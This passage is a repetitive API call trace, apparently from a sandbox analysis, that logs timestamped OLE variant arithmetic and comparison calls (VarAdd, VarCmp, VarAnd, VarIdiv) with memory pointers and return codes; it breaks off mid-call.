0x0 [0018.270] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.271] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.271] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.271] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.272] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.272] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.272] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarIdiv (in: 